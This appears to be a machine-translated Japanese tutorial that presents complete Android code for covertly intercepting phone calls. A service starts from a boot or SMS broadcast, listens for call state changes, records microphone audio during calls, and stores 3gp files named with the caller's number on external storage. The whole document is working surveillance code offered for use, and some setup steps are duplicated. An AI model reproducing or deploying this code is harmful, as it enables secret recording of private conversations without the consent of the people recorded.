Androidプログラミングのサービスを利用して、電話の傍受方法を実現します。
本論文の例は、Androidプログラミングのサービスを利用した電話傍受の実現方法を説明する。皆さんに参考にしてあげます。具体的には以下の通りです。
1.シミュレータを起動し、アプリケーションを展開する
2.シミュレータコントローラでショートメッセージ起動サービスを送信する(ログ出力を確認して、成功したかどうか判断する)
3.シミュレータに電話をかけ、電話を切った後、ファイル管理を利用して対応するcacheディレクトリまたはsdcardから3 g pファイルを作成し、それをpcにコピーして再生して検証する。
リスト設定(一つのreceiver、一つのservice、いくつかの権限)
起動してブロードキャストを完了します。
1.シミュレータを起動し、アプリケーションを展開する
2.シミュレータコントローラでショートメッセージ起動サービスを送信する(ログ出力を確認して、成功したかどうか判断する)
3.シミュレータに電話をかけ、電話を切った後、ファイル管理を利用して対応するcacheディレクトリまたはsdcardから3 g pファイルを作成し、それをpcにコピーして再生して検証する。
リスト設定(一つのreceiver、一つのservice、いくつかの権限)
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
…
<application …>
<receiver android:name="BootBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<service android:name="PhoneListenerService" />
電話モニターサービス類:Phone ListenerService
package cn.class3g.phonelistener;
...
public class PhoneListenerService extends Service {
public IBinder onBind(Intent arg0) {
return null;
}
public void onCreate() {
super.onCreate();
Log.i("TAG", " ");
//
TelephonyManager telManager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
//
telManager.listen(new MyPhoneStateListener(),
PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener extends PhoneStateListener {
MediaRecorder recorder;
File audioFile;
String phoneNumber;
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: /* */
if (recorder != null) {
recorder.stop();//
recorder.reset();//
recorder.release();//
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK: /* */
try {
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC); //
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //
// recorder.setOutputFile("/sdcard/myvoice.amr");
audioFile = new File(
Environment.getExternalStorageDirectory(),
phoneNumber + "_" + System.currentTimeMillis()
+ ".3gp");
recorder.setOutputFile(audioFile.getAbsolutePath());
Log.i("TAG", audioFile.getAbsolutePath());
recorder.prepare(); //
recorder.start();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_RINGING: /* */
phoneNumber = incomingNumber;
break;
default:
break;
}
super.onCallStateChanged(state, incomingNumber);
}
}
}
起動を利用して放送開始サービスを開始する(実験環境では便宜上ショートメッセージ放送に切り替えることができる)起動してブロードキャストを完了します。
package cn.class3g.phonelistener;
...
public class BootBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Log.i("TAG", " ");
Intent serviceIntent = new Intent(context, PhoneListenerService.class);
context.startService(serviceIntent);
}
}
ここで述べたように、皆さんのAndroidプログラムの設計に役に立ちます。